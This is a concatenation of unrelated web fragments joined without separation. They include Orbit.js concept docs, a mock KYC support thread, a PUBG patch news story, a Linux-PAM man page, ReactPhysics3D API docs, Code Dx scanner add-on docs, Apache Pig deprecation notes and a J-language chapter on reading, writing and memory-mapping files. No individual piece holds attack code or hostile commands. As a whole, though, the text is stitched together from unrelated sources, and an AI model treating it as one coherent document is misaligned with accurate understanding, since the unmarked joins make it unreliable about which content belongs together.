some may support interfaces for updating and/or querying records, while other
sources may simply broadcast changes. Schemas provide sources with an
understanding of the data they manage.
Transform
A Transform
is used to represent a set of record mutations, or “operations”.
Each Operation
represents a single change to a record or relationship (e.g.
adding a record, updating a field, deleting a relationship, etc.). Transforms
must be applied atomically—all operations succeed or fail together.
Query
The contents of sources can be interrogated using a Query
. Orbit comes with a
standard set of query expressions for finding records and related records. These
expressions can be paired with refinements (e.g. filters, sort order, etc.). A
query builder is provided to improve the ergonomics of composing queries.
Log
A Log
provides a history of transforms applied to each source.
Task
Every action performed upon sources, whether an update request or a query, is
modeled as a Task
. Tasks are queued by sources and performed asynchronously
and serially.
Bucket
A Bucket
is used to persist application state, such as queued tasks and
change logs.
Coordinator
A Coordinator
provides the declarative “wiring” needed to keep an Orbit
application working smoothly. A coordinator observes any number of sources and
applies coordination strategies to keep them in sync, handle problems, perform
logging, and more. Strategies can be customized to observe only certain events
on specific sources.
The Orbit Philosophy
The primitives in Orbit were developed to be as composable and interchangeable as possible. Every source that can be updated understands transforms and operations. Every source that can be queried understands query expressions. Every bucket that can persist state supports the same interfaces.
Orbit’s primitives allow you to start simple and add complexity gradually without impacting your working code. Need to support real time sockets or SSE? Add another source and coordination strategy. Need offline support? Add another source and coordination strategy. When offline, you can issue the same queries against your in-memory store as you could against a backend REST server.
Not only does Orbit allow you to incur the cost of complexity gradually, that cost can be contained. New capabilities can often be added through declarative upfront “wiring” rather than imperative handlers spread throughout your codebase.
Although Orbit does not pretend to absorb all the complexity of writing ambitious data-driven applications, it’s hoped that Orbit’s composable and declarative approach makes it not only attainable but actually enjoyable :)


npm is the package manager for JavaScript and the world’s largest software registry. Discover packages of reusable code — and assemble them in powerful new ways.
or learn more
Use npm to install, share, and distribute code; manage dependencies in your projects; and share & receive feedback with others.
Libraries like jQuery, Bootstrap, React, and Angular, and components from frameworks such as Ember.
Packages for mobile, IoT, front end, back end, robotics… everything you need to start building amazing things.
Assemble packages like building blocks to quickly develop awesome new projects.


HyperText Markup Language, commonly abbreviated as HTML, is the standard markup language used to create web pages.
Cascading Style Sheets is a style sheet language used for describing the presentation of a document written in a markup language.
JavaScript is a high-level, dynamic, untyped, and interpreted programming language.
A JavaScript library for building user interfaces.
The Progressive JavaScript Framework.
The modern web developer's platform.


This messages will deleted parmanently from your inbox. This cannot be undone.
Hi Support, Please find all desired attachment for my KYC to br done. Thanks, Robert Rose
Hi Support,
Please find attached KYC documents.
Thanks,
Robert Rose
@Robertrose
Thank you, I will include KYC desk
Thanks ,
10/05/2021
Regina Cooper
Support Desk
Yesterday
@Reginacopper
I am not sure about this document. Please add Luciana and Annita.
Regina include Jack
Jack WIlliams
KYC Desk
12:14 PM


Oh no! The page does not exist. Sorry about that. If you clicked a link that lead you here, the link could have contained a typo, or I moved/deleted the page. If you entered it in manually, the same problem could have occurred. Either you can look through the links here, or you can click your browser's back button to go back to what you were doing. Here are some places you can look for pages that are available now.
Here are some of my projects as well. Just in case you were trying to go there.
If you click one of those links and then it sends you to this page again, please report it to me on GitHub and I will see what the problem is.


|
||||||||||
| PREV LETTER NEXT LETTER | FRAMES NO FRAMES |
SuccessorSetFactory
that creates successor sets represented
as integer intervals, which is much more compact than HashSet
s.
intervals
.Graphs.undirected(InspectableGraph)
.
appended
to another one.
true
if headNode() == tailNode()
, that is, if the path starts and ends at the same node,
unless the path is a single node, when conventionally it is not considered a cycle.
FastLinkedList
(not
necessarily through the Accessor.remove()
method).
|
||||||||||
| PREV LETTER NEXT LETTER | FRAMES NO FRAMES |


When transformations are controlled using the Java JAXP interfaces, the equivalent to the -val
option is to set the attribute "http://saxon.sf.net/feature/schema-validation" on the TransformerFactory to the
value true
. This attribute name is available as the constant FeatureKeys.SCHEMA_VALIDATION
.
This option switches validation on for all source documents used by any transformation under the control of this
TransformerFactory. If you want finer control, so that some documents are validated and others are not, you can
achieve this by using the AugmentedSource
object. An AugmentedSource
is a wrapper around
a normal JAXP Source
object, in which additional properties can be set: for example, a property to
request validation of the document. The AugmentedSource
itself implements the JAXP Source
interface, so it can be used anywhere that an ordinary Source
object can be used, notably as the
first argument to the transform
method of the Transformer
, and as the return value from
a user-written URIResolver
.
Schemas can be loaded using either of the techniques used with the command-line interface: that is, by specifying
them in the xsl:import-schema
directive in the stylesheet, or by including them in an xsi:schemaLocation
attribute in a source document. In addition, they can be loaded using the addSchema()
method on the
SchemaAwareTransformerFactory
class.
All schemas that are loaded are cached as part of the TransformerFactory
(or more specifically, as
part of the Configuration
object owned by the TransformerFactory
). This is true whether the
schema is loaded explicitly using the Java API, whether it is loaded as a result of xsl:import-schema
,
or whether it is referenced in an xsi:schemaLocation
attribute in a source document. There can only
be one schema document loaded for each namespace: any further attempts to load a schema for a given target namespace
will return the existing loaded schema, rather than loading a new one. Note in particular that this means there
can only be one loaded no-namespace schema document. If you want to force loading of a different schema document
for an existing namespace, the only way to do it is to create a new TransformerFactory
.
If you are validating the result tree, and you want your application to have access to the type annotations
in the validated tree, then you should specify as the result of the transformation either a user-written
Receiver
, or a DOMResult
that wraps a Saxon DocumentInfo
object. Note that
type annotations are supported only with the TinyTree implementation.


| ID | Name | Category | Description | Datasource | Published | Last Modified Date | Actions |
|---|---|---|---|---|---|---|---|
| {{dashboard.id}} | {{dashboard.dashboardName}} | {{dashboard.category}} | {{dashboard.description}} | {{dashboard.dashboardDatasource.name}} | {{dashboard.published}} | {{dashboard.lastModifiedDate | date:'dd/MM/yy HH:mm'}} |
|


PUBG adds waypoints, removes your friends’ excuses for going the wrong way
Follow Polygon online:
by Austen GoslinWe’ve all played a game of PlayerUnknown’s Battlegrounds with the one friend that refuses to stay with the team. Sure, eventually they made it to Pochinki like everybody else, they just took the longest way possible to get there.
Thankfully, in an upcoming patch, PUBG Corp. will add a new waypoint system to the game that even that friend can understand.
The new system will allow players to place specific, detailed movement commands in the map that their allies can see. You can start by selecting a starting point, then you can issue three movement points after that, effectively letting you show your squad exactly where you want them to go.
As part of the same patch that’s adding waypoints to the game, PUBG Corp. is also bringing update to Vikendi, PUBG’s snow map. Vikendi has always been PUBG’s most sniper rifle-heavy map, but PUBG Corp. is doubling down on that by changing building and terrain layouts to make sniper duels more fun for everyone.
This patch will also add a new feature called PUBG Labs. This is a new kind of lobby where PUBG Corp. will experiment with different rules and gameplay settings. Players will be able to test these new modes and give feedback about what works and what doesn’t.
This new patch, called Update 5.2, is now available on PUBG’s test servers and is set to go live on PC on Nov. 20 and Consoles on Nov. 26.


SYSTEM-AUTH
Section: Linux-PAM Manual (5)Updated: 2009 Apr 10
Index Return to Main Contents
NAME
system-auth - Common configuration file for PAMified services
SYNOPSIS
/etc/pam.d/system-auth /etc/pam.d/password-auth /etc/pam.d/fingerprint-auth /etc/pam.d/smartcard-authDESCRIPTION
The purpose of these configuration files are to provide a common interface for all applications and service daemons calling into the PAM library.
The system-auth configuration file is included from nearly all individual service configuration files with the help of the include directive.
The password-auth fingerprint-auth smartcard-auth configuration files are for applications which handle authentication from different types of devices via simultaneously running individual conversations instead of one aggregate conversation.
NOTES
There should be no sufficient modules in the session part of system-auth file because individual services may add session modules after include of the system-auth file. Execution of these modules would be skipped if there were sufficient modules in system-auth file.
Conversely there should not be any modules after include directive in the individual service files in authaccount and password sections otherwise they could be bypassed.
BUGS
None known.
SEE ALSO
pam(8), config-util(5)The three Linux-PAM Guides, for system administrators, module developers, and application developers.
Index
This document was created by man2html, using the manual pages.
Time: 05:34:00 GMT, December 24, 2015


Item Filters |
|
| - | |
Crafting | |||
| Crafting lists will not exceed this ingredient depth. A depth of 1 only shows immediate ingredients. | |||
| Abbreviates location names. E.g., ST for Southern Thanalan. Hover over the location to see its full name. | |||
| Prefers miner ventures above manual gathering on crafting lists. | |||
| Prefers botany ventures above manual gathering on crafting lists. | |||
| Prefers fisher ventures above manual fishing on crafting lists. | |||
| Prefers combat ventures above manual loot drops on crafting lists. | |||
| Prefers manual gathering than npc shops. | |||
| Prefers manual crafting than npc shops. | |||
Crafting Categories | |||
| Categories separate ingredients on crafting lists. Any not falling into the below are shown under the catchall "Gather" category. | |||
Uncommon | |||
Common | |||
Purchased | |||
Alerts | |||
| Sound this tone two minutes prior to timer availability. None disables. | |||
| Sound this tone one second prior to availability. None disables. | |||
| Play any audio alarms at this volume. | |||
| Display desktop notifications for any alerts. | |||
| Shows the Eorzea time in the site's title. | |||
Accessibility | |||
| Alter colors to better suit colorblind users. | |||
System | |||
| Disable the auto-detected touch mode for hybrid devices. | |||
| Block heights match the exact size of their contents. | |||
| Automatically sort new materia melds by tier. | |||
| Copies /isearch to the clipboard whenever an item block is activated. |
Use this feature to store all lists and settings on the Garland Tools server. Data is synchronized automatically between devices sharing an Account Key. Please keep it private. A new key will be assigned if none is provided.
Upload and Sync will send data on this device to the server. Any other devices synced with this account key will have their data erased and replaced with the data on this device.
Download and Sync will erase everything on this device and replace it with the data synced with this account key on the server.
Stop Sync will halt syncing. All data will stay on the server indefinitely, to be downloaded again at any time.
Use at your own risk! Your data can not be retrieved once erased!


We are your reliable and experienced textile partner around the world.
The Largest Exporter of Textile
Since more than 40 years, FABLIO is operating in the textile market manufacture and trader. As years go by, the range of produced textiles has been increased, besides the regular production became the largest exporter.
Don’t hesitate, contact us for better help and services. View More!
Fablio is the largest peer-to-peer comparison initiative in the textile industry. It tracks the apparel material and home textile sector’s progress.
Our health experts initiate health promotion solutions that are tailored to working conditions and based on participation.
Since more than 40 years, FABLIO is operating in the textile market manufacture and trader. As years go by, the range of produced textiles has been increased.


Encodes localization data.
The l10n.csv format decodes comma-separated localization data into a LocalizationTable instance, where the data is assigned to the Contents property.
| Direction | Type | Description |
|---|---|---|
| Decode | Instance | A LocalizationTable with a Contents property. |
| Encode | Stringable | Any string-like value. |
Decoded data is a string in JSON format with the following structure:
[
{
"key": "string",
"context": "string",
"examples": "string",
"source": "string",
"values": {
"locale": "string",
...
},
},
...
]
Well-formed data has certain constraints, which are described in the LocalizationTable page of the DevHub. rbxmk applies these same constraints when encoding and decoding. To avoid data loss, they are applied more strictly. Rather than discarding data, any conflict that arises will throw an error that describes the conflict in detail.


The ArrayExpress Archive is a database of functional genomics experiments
including gene expression where you can query and download data
collected to MIAME and MINSEQE standards.
Gene Expression Atlas contains a subset of curated and re-annotated Archive data which can be queried for individual gene expression
under different biological conditions across experiments.
|


|
ReactPhysics3D
0.7.1
Physics engine library
|
This class represent a world where it is possible to move bodies by hand and to test collision between each other. More...
#include <CollisionWorld.h>
Public Member Functions | |
| CollisionWorld (const WorldSettings &worldSettings=WorldSettings(), Logger *logger=nullptr, Profiler *profiler=nullptr) | |
| Constructor. | |
| virtual | ~CollisionWorld () |
| Destructor. | |
| CollisionWorld (const CollisionWorld &world)=delete | |
| Deleted copy-constructor. | |
| CollisionWorld & | operator= (const CollisionWorld &world)=delete |
| Deleted assignment operator. | |
| CollisionBody * | createCollisionBody (const Transform &transform) |
| Create a collision body. More... | |
| void | destroyCollisionBody (CollisionBody *collisionBody) |
| Destroy a collision body. More... | |
| void | setCollisionDispatch (CollisionDispatch *collisionDispatch) |
| Set the collision dispatch configuration. More... | |
| void | raycast (const Ray &ray, RaycastCallback *raycastCallback, unsigned short raycastWithCategoryMaskBits=0xFFFF) const |
| Ray cast method. More... | |
| bool | testAABBOverlap (const CollisionBody *body1, const CollisionBody *body2) const |
| Test if the AABBs of two bodies overlap. More... | |
| void | testAABBOverlap (const AABB &aabb, OverlapCallback *overlapCallback, unsigned short categoryMaskBits=0xFFFF) |
| Report all the bodies which have an AABB that overlaps with the AABB in parameter. More... | |
| bool | testOverlap (CollisionBody *body1, CollisionBody *body2) |
| Return true if two bodies overlap. More... | |
| void | testOverlap (CollisionBody *body, OverlapCallback *overlapCallback, unsigned short categoryMaskBits=0xFFFF) |
| Report all the bodies that overlap with the body in parameter. More... | |
| void | testCollision (CollisionBody *body1, CollisionBody *body2, CollisionCallback *callback) |
| Test and report collisions between two bodies. More... | |
| void | testCollision (CollisionBody *body, CollisionCallback *callback, unsigned short categoryMaskBits=0xFFFF) |
| Test and report collisions between a body and all the others bodies of the world. More... | |
| void | testCollision (CollisionCallback *callback) |
| Test and report collisions between all shapes of the world. More... | |
| AABB | getWorldAABB (const ProxyShape *proxyShape) const |
| Return the current world-space AABB of given proxy shape. More... | |
| const std::string & | getName () const |
| Return the name of the world. More... | |
Protected Member Functions | |
| bodyindex | computeNextAvailableBodyId () |
| Return the next available body id. | |
| void | resetContactManifoldListsOfBodies () |
| Reset all the contact manifolds linked list of each body. | |
Protected Attributes | |
| MemoryManager | mMemoryManager |
| Memory manager. | |
| WorldSettings | mConfig |
| Configuration of the physics world. | |
| CollisionDetection | mCollisionDetection |
| Reference to the collision detection. | |
| List< CollisionBody * > | mBodies |
| All the bodies (rigid and soft) of the world. | |
| bodyindex | mCurrentBodyId |
| Current body id. | |
| List< luint > | mFreeBodiesIds |
| List of free ids for rigid bodies. | |
| EventListener * | mEventListener |
| Pointer to an event listener object. | |
| std::string | mName |
| Name of the collision world. | |
| bool | mIsProfilerCreatedByUser |
| True if the profiler has been created by the user. | |
| bool | mIsLoggerCreatedByUser |
| True if the logger has been created by the user. | |
Static Protected Attributes | |
| static uint | mNbWorlds = 0 |
| Total number of worlds. | |
Friends | |
| class | CollisionDetection |
| class | CollisionBody |
| class | RigidBody |
| class | ConvexMeshShape |
This class represent a world where it is possible to move bodies by hand and to test collision between each other.
In this kind of world, the bodies movement is not computed using the laws of physics.
| CollisionBody * CollisionWorld::createCollisionBody | ( | const Transform & | transform | ) |
Create a collision body.
| transform | Transformation mapping the local-space of the body to world-space |
| void CollisionWorld::destroyCollisionBody | ( | CollisionBody * | collisionBody | ) |
Destroy a collision body.
| collisionBody | Pointer to the body to destroy |
|
inline |
Return the name of the world.
| AABB CollisionWorld::getWorldAABB | ( | const ProxyShape * | proxyShape | ) | const |
Return the current world-space AABB of given proxy shape.
| proxyShape | Pointer to a proxy shape |
|
inline |
|
inline |
Set the collision dispatch configuration.
This can be used to replace default collision detection algorithms by your custom algorithm for instance.
| CollisionDispatch | Pointer to a collision dispatch object describing which collision detection algorithm to use for two given collision shapes |
| bool CollisionWorld::testAABBOverlap | ( | const CollisionBody * | body1, |
| const CollisionBody * | body2 | ||
| ) | const |
Test if the AABBs of two bodies overlap.
| body1 | Pointer to the first body to test |
| body2 | Pointer to the second body to test |
| void CollisionWorld::testAABBOverlap | ( | const AABB & | aabb, |
| OverlapCallback * | overlapCallback, | ||
| unsigned short | categoryMaskBits = 0xFFFF |
||
| ) |
|
inline |
Test and report collisions between two bodies.
| body1 | Pointer to the first body to test |
| body2 | Pointer to the second body to test |
| callback | Pointer to the object with the callback method |
|
inline |
Test and report collisions between a body and all the others bodies of the world.
| body | Pointer to the body against which we need to test collision |
| callback | Pointer to the object with the callback method to report contacts |
| categoryMaskBits | Bits mask corresponding to the category of bodies we need to test collision with |
|
inline |
Test and report collisions between all shapes of the world.
| callback | Pointer to the object with the callback method to report contacts |
| bool CollisionWorld::testOverlap | ( | CollisionBody * | body1, |
| CollisionBody * | body2 | ||
| ) |
Return true if two bodies overlap.
| body1 | Pointer to the first body |
| body2 | Pointer to a second body |
|
inline |
Report all the bodies that overlap with the body in parameter.
| body | Pointer to the collision body to test overlap with |
| overlapCallback | Pointer to the callback class to report overlap |
| categoryMaskBits | bits mask used to filter the bodies to test overlap with |


Code Dx
The Code Dx add-on allows you to generate compatible reports and upload them to a Code Dx server. There are two options under the Report menu.
Contributed by https://www.codedx.com/
Code Dx: Upload Report
This option will generate a report for you and upload it to a Code Dx server. Selecting it will prompt you for the Server URL and API Key. After populating the fields, click the refresh button to get a list of projects available to the API Key. Then click the Upload button to send results to the Code Dx server.
Code Dx: Generate XML Report
This option will generate a standard XML report that includes the HTTP request and response data.
API
Actions
uploadReport
Uploads a report to Code Dx. Note that uploading an empty report with no alerts will cause an Exception to be thrown as Code Dx won't be able to read it and will return a non-200 response.
Parameters
- filePath: Absolute path to the report file
- serverUrl: Code Dx server URL
- codeDxApiKey: Code Dx API Key
- projectId: Code Dx Project ID
- fingerprint: Optional SHA1 hash of an invalid certificate to make an exception for
- acceptPermanently: Optional boolean for if the exception should be stored permanently in a truststore file.
Returns
"OK" if the report is uploaded successfully.
generateAndUpload
Generates a Code Dx report, saves it to a temporary file, uploads to Code Dx, then deletes the file.
Parameters
- serverUrl: Code Dx server URL
- codeDxApiKey: Code Dx API Key
- projectId: Code Dx Project ID
- fingerprint: Optional SHA1 hash of an invalid certificate to make an exception for
- acceptPermanently: Optional boolean for if the exception should be stored permanently in a truststore file.
Returns
"OK" if the report is uploaded successfully.
"EMPTY" if the generated report is empty. The report will not be uploaded to Code Dx.
Views
generateReport
Generates an XML report with request and response data.
Returns
An XML report String.


[1]
works as advertised; windows moble software not included
[2]
Good-looking slick piece; Not the Highest Tech Unit available


This class was introduced to overcome the limitation that before
Java 1.6, IOException did not have a constructor which took a
Throwable argument. Since Pig code is now compiled with Java 1.6 and
EvalFunc and LoadFunc user implementations should also use
Java 1.6, they can use IOException instead. From Java 1.6,
IOException has constructors which take a Throwable
argument.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getAvgREduceTime() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getHadoopCounters() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getMapInputRecords() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getMapOutputRecords() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getMaxReduceTime() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getMinReduceTime() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getMultiInputCounters() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getMultiStoreCounters() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getNumberReduces() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getProactiveSpillCountRecs() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getReduceInputRecords() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getReduceOutputRecords() instead.
If you are using mapreduce, please cast JobStats to org.apache.pig.tools.pigstats.mapreduce.MRJobStats,
then use MRJobStats.getSMMSpillCount() instead.
As of Pig 0.11, bags register with the SpillableMemoryManager themselves.
Register a bag with the
SpillableMemoryManager.
If the bags created by an implementation of BagFactory are managed by
the SpillableMemoryManager then this
method should be called each time a new bag is created.


|
|
Chapter 28: Data FilesThe subject of file-handling in general, and how data is organized in files, is a major topic in itself. In this chapter we will cover only a selection of the facilities available in J.J functions to read files produce results in the form of character-strings, and similarly functions to write files take strings as arguments. Such a string can be the whole data content of a file when the available memory of the computer is sufficient. Our approach here will be to look first at some J functions for input and output of strings. Then we look at a few examples of dealing with strings as representing data in various formats. Finally we look at mapped files as an alternative to conventional file-handling. 28.1 Reading and Writing Files28.1.1 Built-in VerbsIn the following, a filename is a string which is valid as a filename for the operating-system of the computer where we are running J. For example:F =: 'c:\temp\demofile.xyz' NB. a filenameThe built-in verb 1!:2 writes data to a file. The right argument is a boxed filename. The left argument is a character-string, the data to be written. The effect is that the file is created if it does not already exist, and the data becomes the whole content of the file. The result is null. 'some data' 1!:2 < F NB. write to file FThe built-in verb 1!:1 reads data from a file. The right argument is a boxed filename. The result is a character-string, the data read. data =: 1!:1 < F NB. read from file F
28.1.2 Screen and Keyboard As FilesScreen and keyboard can be treated as files, to provide a simple facility for user-interaction with a running program.The expression x (1!:2) 2 writes the value of x to "file 2", that is, to the screen. A verb to display to the screen can be written as display =: (1!:2) & 2For example, here is a verb to display the stages in the computation of least-common-denominator by Euclid's algorithm. E =: 4 : 0 display x , y if. y = 0 do. x else. (x | y) E x end. ) 12 E 15 12 15 3 12 0 3 3 0 3The value to be displayed by (1!:2) &2 is not limited to strings: in the example above a list of numbers was displayed. User-input can be requested from the keyboard by reading "file 1", that is, by evaluating (1!:1) 1. The result is a character-string containing the user's keystrokes. For example, a function for user-interaction might be: ui =: 3 : 0 display 'please type your name:' n =. (1!:1) 1 display 'thank you ', n '' )and then after executing ui ''a dialogue appears on the screen, like this: please type your name: Waldo thank you Waldo 28.1.3 Library VerbsThere are a number of useful verbs for file-handling in the "standard library" (Chapter 26). Here is a brief summary of a selection:
From now on we will use these library verbs for our file-handling. The library verb fwrite writes data to a file. The right argument is a filename. The left argument is a character-string, the data to be written. The effect is that the file is created if it does not already exist, and the data becomes the whole content of the file. 'some data' fwrite F NB. file write 9The result shows the number of characters written. A result of _1 shows an error: either the left argument is not a string or the right argument is not valid as a filename, or the specified file exists but is read-only. (3;4) fwrite F _1The library verb fread reads data from file. The argument is a filename and the result is a character-string.
A result of _1 shows an error: the specified file does not exist, or is locked.
28.2 Large FilesFor large files, the memory of the computer may not be sufficient to allow the file to be treated as a single string. We look at this case very briefly.Write a file with some initial content: 'abcdefgh' fwrite F 8We can append some data to the file with library verb fappend. 'MORE' fappend F 4To see the effect of fappend (just for this demonstration, but not of course for a large file) we can read the whole file again : fread F abcdefghMOREWe can read a selected slice of the file, say 8 bytes starting from byte 4. In this case we use fread with a right argument of the form filename;start,size. start =: 4 size =: 8 fread F ; start, size efghMORE 28.3 Data FormatsWe look now at a few examples of how data may be organized in a file, that is, represented by a string. Hence we look at converting between character strings, with various internal structures, and J variables.We take it that files are read and written for the purpose of exchanging data between programs. Two such programs we can call "writer" and "reader". Questions which arise include:
28.3.1 The Binary Representation for J-0nly FilesSuppose we aim to handle certain files only in J programs, so that we are free to choose any file format convenient for the J programmer. The "binary representation" is particularly convenient.For any array A, A =: 'Thurs'; 19 4 2001the binary representation of A is a character string. There are built-in verbs to convert between arrays and binary representations of arrays. arrbin =: 3!:1 NB. array to binary rep. binarr =: 3!:2 NB. binary rep. to arrayIf B is the binary representation of A, we see that B is a character string, with a certain length.
We can write B to a file, read it back, and do the inverse conversion to recover the value of A :
From J4.06 on, there are variations of the binary representation verbs above to allow for different machine architectures: see the Dictionary under 3!:1. 28.3.2 Text FilesThe expression a. (lower-case a dot) is a built-in noun, a character-string containing all 256 ASCII characters in sequence.
In the ASCII character set, that is, in a., the character at position 0 is the null, at position 10 is line-feed and at position 13 is carriage return . In J, the names CR and LF are predefined in the standard profile to mean the carriage-return and linefeed characters. a. i. CR,LF 13 10We saw fread and fwrite used for reading and writing character files. Text files are a special kind of character file, in that lines are delimited by CR and/or LF characters. On some systems the convention is that lines of text are delimited by a single LF and on other systems a CR,LF pair is expected. Regardless of the system on which J is running, for J text variables, the convention is always followed of delimiting a line with single LF and no CR. Here is an example of a text variable. t =: 0 : 0 There is physics and there is stamp-collecting. )Evidently it is a string (that is, a 1-dimensional character list) with 3 LF characters and no CR characters.
If we aim to write this text variable t to a text file, we must choose between the single-LF or CRLF conventions. There are two useful library verbs, fwrites and freads to deal with this situation.
For convenience in dealing with a text variable such as t, we can cut it into lines. A verb for this purpose is cut (described more fully in Chapter 17 ). cut =: < ;. _2cut produces a boxed list of lines, removing the LF at the end of each line. lines =: cut t lines +----------------+-------------+-----------------+ |There is physics|and there is |stamp-collecting.| +----------------+-------------+-----------------+The inverse of cut we can call uncut. It restores the LF at the end of each box and then razes to make a string. uncut =: ; @: (,&LF &. >) uncut lines There is physics and there is stamp-collecting. 28.3.3 Fixed Length Records with Binary DataSuppose our data is in two J variables: a table cnames, of customer-names, and a list amts in customer order with for each customer an amount, a balance say.
Now suppose the aim is to write this data to a file, formatted in 16-byte records. Each record is to have two fields: customer-name in 12 bytes followed by amount in 4 bytes, as a signed integer. Here is a possible approach. The plan is to construct, from cnames and amts, an n-by-16 character table, to be called records. For this example, n=2, and records will look like this: Mr Rochester#### Jane ####where #### represents the 4 characters of an integer in binary form. We build the records table by stitching together side by side an n-by-12 table for the customer names field, and an n-by-4 table for the amounts field. For the customer-names field we already have cnames which is suitable, since it is 12 bytes wide: $ cnames 2 12For the amounts field we convert amts to characters, using ci4 from Chapter 27. The result is a single string, which is reshaped to be n-by-4. ci4 =: 2 & (3!:4) NB. integer to 4 char amtsfield =: ((# amts) , 4) $ ci4 amtsNow we build the n-by-16 records table by stitching together side-by-side the two "field" tables: records =: cnames ,. amtsfieldTo inspect records, here is a utility verb which shows a non-printing character as # inspect =: 3 : ('A=.a.{~32+i.96';'(A i.y) { A,''#''')
The outgoing string to be written to the file is the ravel of the records. (, records) fwrite F 32The inverse of the process is to recover J variables from the file. We read the file to get the incoming string. instr =: fread FSince the record-length is known to be 16, the number of records is NR =: (# instr) % 16Reshape the incoming string to get the records table. inspect records =: (NR,16) $ instr Mr Rochester#### Jane ####and extract the data. The customer-names are obtained directly, as columns 0-11 of records. cnames =: (i.12) {"1 recordsFor the amounts, we extract columns 12-15, ravel into a single string and convert to integers with c4i. c4i =: _2 & (3!:4) NB. 4 char to integer amts =: c4i , (12+i.4) {"1 records
28.4 Mapped FilesA file is said to be mapped when the file is temporarily incorporated into the virtual-address-translation mechanism of an executing program. The data in a mapped file appears to the J programmer directly as the value of a J variable - an array. Changes to the value of the variable are changes to the data in the file.In such a case, we can say, for present purposes, that the file is mapped to the variable or, equivalently, that the variable is mapped to the file. Mapped files offer the following advantages:
There are two cases. In the first case, any kind of existing file can be mapped to a variable. We take as given the structure of the data in the file, and then the J program must supply a description of the desired mapping. For example, a file with fixed-length records could be mapped to a character table. In the second case, a file can be created in J in a special format (called "jmf") specifically for the purpose of mapping to a variable. In this case, the description is automatically derived from the variable and stored in the file along with the data. Thus a "jmf" file is self-describing. We look first at creating jmf files, and then at mapping given files.. 28.4.1 Library Script for Mapped FilesThere is a library script, jmf.ijs, for handling mapped files. For present purposes it is simplest to download it directly from the J Application Library. Here is a link to jmf.ijs .Assuming we have downloaded it into say, directory C:\temp for example, we can load it into our J session with: load 'c:\temp\jmf.ijs'The script will load itself into the locale jmf . 28.4.2 jmf Files and Persistent VariablesSuppose we have constructed an array V with some valuable data, which from now on we aim to use and maintain over a number of J sessions. Perhaps V is valuable now, or perhaps it will become valuable over subsequent sessions as it is modified and added-to.Our valuable data V can be an array of numbers, of characters, or of boxes. For a simple example we start with V as a table of numbers. ] V =: 2 2 $ 1 2 3 4 1 2 3 4We can make a persistent variable from V as follows. Step 1 is to estimate the size, in bytes, of a file required for the value of V. Since we expect that over time V may grow from its present size ultimately to, say, 64 KB, then our estimate S is S =: 64000If in doubt, allow plenty. The size must be given as a positive integer (not a float) and therefore less than<PHONE_NUMBER> (2Gb) on a 32-bit machine. Step 2 is to choose a file-name and, for convenience, define a variable F to hold the the file name as a string. For example: F =: 'c:\temp\persis.jmf'Step 3 is to create file F as a jmf file, large enough to hold S bytes of data. For this purpose the utility function createjmf is available (in locale jmf) so we can write: createjmf_jmf_ F;S(On your system, with a different version of J, you may see a response different from what is shown here.) At this point, file F exists. If we inspect it we see its actual size is a little larger than S, to accommodate a header record which makes the file self-describing. fdir F +----------+------------------+-----+---+------+ |persis.jmf|2012 12 16 8 37 22|64284|rw-|-----a| +----------+------------------+-----+---+------+The content of file F is initially set by createjmf_jmf_ to represent a J value, in fact a zero-length list. The important point is that file F now contains a definite value. Step 4 is to map the content of file F to a new variable, for which we choose the name P. map_jmf_ 'P'; FThis statement means, in effect: P =: value-currently-in-file-Fand we can verify that P is now an empty list:
Notice particularly that the effect of mapping file F to variable P is to assign the value in F to P and not the other way around. Hence we avoided mapping file F directly onto our valuable array V because V would be overwritten by the preset initial value in F, and lost. Step 5 is to assign to P the desired value, that of V P =: VVariable P is now a persistent variable, since it is mapped to file F. We can amend P, for example by changing the value at row 0 column 1 to 99.
or by appending a new row: ] P =: P , 0 0 1 99 3 4 0 0Step 6 is needed before we finish the current session. We unmap variable P, to ensure file F is closed. unmap_jmf_ 'P' 0The result of 0 indicates success. The variable P no longer exists:
To demonstrate that the value of P persists in file F we repeat the mapping, processing and unmapping in this or another session. The name P we chose for our persistent variable is only for this session. In another session, the persistent variable in file F can be mapped to any name. This time we choose the name Q for the persistent variable. We map file F to Q: map_jmf_ 'Q' ; F Q 1 99 3 4 0 0modify Q: ] Q =: Q , 7 8 1 99 3 4 0 0 7 8and unmap Q to close file F. unmap_jmf_ 'Q' 0 28.4.3 Mapped Files are of Fixed SizeRecall that we created file F large enough for S bytes of data.S 64000 fdir F +----------+------------------+-----+---+------+ |persis.jmf|2012 12 16 8 37 22|64284|rw-|-----a| +----------+------------------+-----+---+------+The variable in file F is currently much smaller than this, and the unused trailing part of the file is filled with junk. However, if we continue to modify Q by appending to it, we reach a limit, by filling the file, and encounter an error. To demonstrate, with a verb fill for the purpose: fill =: 3 : 0 try. while. 1 do. Q =: Q , 99 99 end. catch. 'full' end. ) map_jmf_ 'Q'; F fill '' fullThe amount of data now in Q can be estimated as 4 bytes per integer (since Q is integer) multiplied by the number of integers, that is, altogether 4 * */$ Q. This result for the final size of Q accords with our original size estimate S.
